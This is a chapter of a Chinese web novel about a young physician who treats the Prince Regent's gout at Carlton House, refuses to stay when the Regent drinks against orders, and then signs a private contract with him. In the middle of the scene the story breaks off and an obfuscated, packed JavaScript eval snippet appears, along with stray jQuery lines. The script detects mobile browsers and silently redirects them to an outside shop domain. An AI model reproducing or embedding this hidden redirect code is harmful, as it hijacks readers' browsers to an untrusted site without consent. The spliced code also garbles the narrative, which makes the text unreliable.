第十三章宫阙之行
西奥多做出决定的那日清晨，德文郡公爵的马车便准时停在了布鲁克街医馆门前。
他素来清楚，以自己平民医生的身份，若无王室特许、无贵族亲自引荐，莫说面见摄政王，就连卡尔顿宫的正门都无法踏近。公爵前日辞别时便已约定，若他应允入宫，必亲自引介，这是宫廷不可逾越的礼数，也是上流圈层心照不宣的规矩，半分含糊不得。
管家贝茨早已替他备好深灰色细羊毛常服，搭配暗纹丝质领结，衣着素净得体，既无市井布衣的粗鄙，也无逾矩的张扬，恰好符合一位绅士医生的身份。西奥多拎上装着诊具与秘制药剂的小皮箱，缓步走出医馆，德文郡公爵已立在马车旁等候，见他出来，微微颔首示意，态度亲和沉稳，全无高位贵族的倨傲。
“菲利普斯医生，有我陪同，不必多虑。”公爵伸手邀他同乘，语气平和，“殿下被痛风折磨多日，心绪难免焦躁，却最信实在之言，你只需依医术诊治便好。”
西奥多躬身致谢，随公爵登上马车。车厢缓缓驶动，碾过雨后微湿的石板路，朝着卡尔顿宫而去。他望着窗外掠过的街景，从布鲁克街的雅致小楼，渐至市中心的气派宅邸，最终行至高耸宫墙围起的王室地界，心绪始终沉凝。
白教堂区的卫生改革，已推行数月有余。清淤排污、清扫街巷、为贫民设立简易诊疗点，他费尽心力，终于证明这套举措不仅能改善民生，更可实现小额盈利，可这份盈利太过细碎迟缓，要统筹人力物料，要与各级市政官吏周旋，比起当局直接征收窗户税的快捷省事，实在是步履维艰。若没有王室的强力支持，这场关乎万民康健的改革，永远只能困在狭小的白教堂区，无法铺展至伦敦的每一个角落。
公爵那日的提醒，字字戳中要害，这便是他放下对宫廷纷争的忌惮，决意入宫的缘由。
马车行至卡尔顿宫正门，守卫瞧见德文郡公爵的家族纹章，立刻躬身行礼，查验过公爵的入宫令牌后，当即恭敬放行。前庭青石铺地，两侧侍卫身着红色制服，身姿笔挺，神情肃穆，廊柱矗立，宫宇庄严，连空气都透着沉静肃穆的王室威仪，与市井的烟火气判若两个世界。
公爵领着西奥多下车，沿深红色绒毯走廊前行，往来内侍侍女皆垂首避让，不敢出声惊扰。行至书房门口，公爵轻轻叩门，声音沉稳有礼：“殿下，臣德文郡，携菲利普斯医生前来。”
屋内传来摄政王略带沙哑的声音，透着病痛的倦怠，却依旧不失威严：“进来。”
公爵推门而入，侧身让西奥多随在身侧，随后轻合房门。书房内壁炉炭火正旺，暖意融融，空气中飘着淡淡的橡木与烟草气息。摄政王斜倚在天鹅绒沙发上，右脚踝裹着绒布绷带，轻搁在软垫上，脸色憔悴，眼下青黑浓重，眉宇间凝着病痛带来的烦躁，案上的信函与点心分毫未动，显是连日来被折磨得寝食难安。
他先看向德文郡公爵，目光随即落在身旁的年轻医生身上，细细打量。西奥多身姿挺直，随公爵行至沙发前，依礼垂首躬身，动作恭谨却不卑不亢，眼神沉静坦荡，无半分惶恐谄媚，与那些一见王室便手足无措的医者截然不同。
“殿下，臣已将菲利普斯医生请到。”公爵躬身行礼，语气诚恳，“这位医生医术精湛，行事守密沉稳，臣的痛风便是经他之手彻底痊愈，连日常身体调理，也全赖他悉心照料，臣以名誉担保，此人绝对可信。”
摄政王微微颔首，指尖轻敲沙发扶手，看向西奥多：“你便是治好德文郡痛风的菲利普斯？听闻你性子孤傲，不愿随意应召，今日肯来，倒是出乎本殿下的意料。”
“回殿下，并非孤傲，只是医者本分，只在诊治病患，不喜虚礼周旋。”西奥多抬眸，语气平和笃定，“蒙殿下不弃，又有公爵大人引荐，我自当尽心为殿下诊治。”
摄政王闻言，眼底的审视淡去几分，示意他上前诊视。西奥多拎着医箱上前，在小凳上坐定，动作轻柔专业地查看摄政王的脚踝，触诊时分寸得当，毫无冒犯。片刻后，他抬眼回道：“殿下，痛风急性发作，积郁已久，方才会疼痛难消，御医之法只治标不治本。我为您施药，今日晚间痛感便可大减，能安睡整夜，三日红肿消退，十日便可如常行动，只需后续忌口调养，可保常年不犯。”
“当真有这般奇效？”摄政王眼中掠过一丝讶异，连日来的病痛折磨，早已让他对那些无用的御医失望透顶，西奥多的笃定，反倒让他生出几分信任。
“医者不敢妄言。”西奥多简洁应道，随即打开医箱，准备调配药剂。
摄政王看着他从容不迫的模样，又想起连日来每到夜半便疼得辗转反侧，无人能解，当即开口，语气带着王室上位者的直接与不容推辞：“既如此，你便留在宫中，直至本殿下的痛风稳住。”
西奥多闻言微怔，他本想着诊治完毕，交代清楚用药与忌口事宜，便返回医馆，并未想过留宫，当即欲开口推辞。
一旁的德文郡公爵见状，连忙轻轻示意他稍安勿躁，随即向摄政王躬身道：“殿下，菲利普斯医生在布鲁克街还有医馆事务，且他并非宫廷御医，留宫怕是于礼不合……”
“有何不合？”摄政王眉头微蹙，病痛带来的烦躁又泛起几分，语气带着不容拒绝的意味，“本殿下病痛未消，夜里若是疼起来，远水难解近渴。他是专治此病的医生，留在宫中随侍左右，方能让本殿下安心。宫廷西侧有专属客房，收拾一间给他便是，以绅士之礼相待，不必按宫廷侍从规制，此事就这么定了。”
他全然是命令的口吻，既是王室的旨意，也是病痛中对能治愈自己的医者的依赖，丝毫不给推辞的余地。
西奥多看着摄政王憔悴又带着执拗的模样，心知王室旨意不可违，更明白这是拉近与摄政王距离、推动卫生改革的唯一机会，当下不再推辞，微微躬身行礼：“既如此，我遵殿下旨意，留宫照料殿下，直至痛风安稳。”
摄政王见他应允，眉宇间的烦躁顿时消散不少，挥了挥手道：“甚好，下去安置吧，即刻先把药煎来，给本殿下服下。”
德文郡公爵松了口气，向摄政王行礼后，领着西奥多退出书房，轻声叮嘱道：“殿下被病痛折磨太久，方才会执意留你，你且安心住下，凡事有我，不必拘谨，尽心诊治便好。”
西奥多点点头，望着宫廷深处的回廊，心知从踏入卡尔顿宫的这一刻起，他便再也无法置身事外，而这场留宫诊治，既是机遇，也是一场未知的博弈。
西奥多依摄政王的旨意留居宫中，起居安置在卡尔顿宫西侧专供外廷绅士暂住的客房里，不涉宫廷职司，不与内侍同列，只每日定时前往诊视，按时施药，调理饮食起居。他素来沉静少言，留宫之后亦谨守分寸，除诊治之外从不多言，更无半分趋奉之态。
前三日调养得当，摄政王的痛风已然大为好转，红肿尽消，痛楚大减，夜里亦能安睡，连日来的焦躁烦闷散去不少，精神也清朗了许多。
第三日黄昏，西奥多提箱再去诊视。
甫一进门，便嗅到一缕极淡、却分明可辨的葡萄酒香，混在室内的橡木气息里，欲盖弥彰。
他心头微沉，却依旧缓步上前，依礼见礼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616175|205986||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，而后轻轻掀开摄政王足上的软布。
只一眼，他便轻轻蹙起眉尖。
方才已然平复的关节，竟又泛起一圈浅而分明的红胀，方才退去的热意，亦悄然回转。
室内一时静了下来，唯有壁炉炭火轻轻噼啪。
西奥多缓缓收回手，抬眸望向摄政王，语气平静，却带着不容轻忽的郑重：“殿下今日沾了酒。”
他没有质问，只陈述事实，目光坦荡沉静，不见半分怯懦，亦无半分指责。
摄政王被说中心事，微有窘迫，只得淡淡掩饰：“不过宴间浅尝半杯，推脱不过，并非有意违背嘱咐。”
“痛风一事，最忌半分酒精。”西奥多声音平和，却字字清晰，“前三日的药石、静养、忌口，皆为控住顽疾。殿下这般破戒，前番功夫，便尽数白费。”
他稍顿，微微躬身，脊背依旧挺直，语气沉静而坚定：“我行医一向有规，只治肯遵医嘱之人。殿下既不能守约，我再留在此间，亦是无用，反倒砸了行医的招牌。请殿下允准，我返回布鲁克街便是。”
一旁内侍无不屏息，连头都不敢抬。
摄政王亦是一怔。
他这一生，见多了顺从与逢迎，却从未有人，敢因他一时放纵，便直言不治、执意离去。初闻时微有不悦，可转念一想，整座伦敦，唯有此人真正能解他的苦痛，那些宫廷御医不过是虚应故事，从不敢如此直言，更无这般实效。
眼前这人，不趋炎，不附势，不讨好，不畏惧，只守医者本分。
这般人物，才真正值得托付。
摄政王心中暗定，语气渐渐放缓，褪去上位者的执拗，多了几分私人之间的坦诚：“我知晓了。是我疏忽，不该破戒。你不必走。”
他望着西奥多，语气郑重，主动开口：
“你既重规矩，又守信誉，宫廷职任未必合你心意，我亦不想以权势相拘。
我便以我个人的名义，如同德文郡公爵那般，聘你做我的私人健康顾问。”
西奥多微微一怔，抬眸望向他。
摄政王继续道，语气沉稳而恳切：
“条款依旧：你尽心诊治，严守我一切病情隐秘；
我则以个人名义起约，谨遵医嘱，饮食起居、服药忌口，一概听你安排，绝不擅自妄为。签约费随你开。”
“如此，你可安心留下？”
西奥多望着摄政王眼底的诚意，知他是真心接纳约束，而非一时权宜。他略一颔首，礼数周全，语气平和：
“殿下既以私人身份相托，又愿严守医嘱，我行医为本，自当尽心。”
摄政王微微颔首，示意内侍取来纸笔。
西奥多提笔，将条款一一写明，简洁庄重，末了在年俸一处落下：一百二十英镑。
摄政王目光扫过，指尖微顿，没有言语，只眼底掠过一丝极淡的释然。
他不曾被这般平等相待过——不因其权势而抬高，不因其地位而特殊，只如对待一位寻常绅士那般，一视同仁。
这份安稳，远比万千奉承更让他受用。
他提笔，郑重签下自己的名字，将笔轻轻放回。
“契约已成。此后，我的身体，便托付给你了。”
西奥多收起契约，躬身行礼，语气沉静笃定：
“殿下既守约，我必竭尽全力。”
炉火轻燃，暮色温柔漫入书房。
前一刻的微妙僵持，早已化作无声的信任。
一纸私人之约，将一位君王的康健，交托给了这位沉静自持的年轻医生。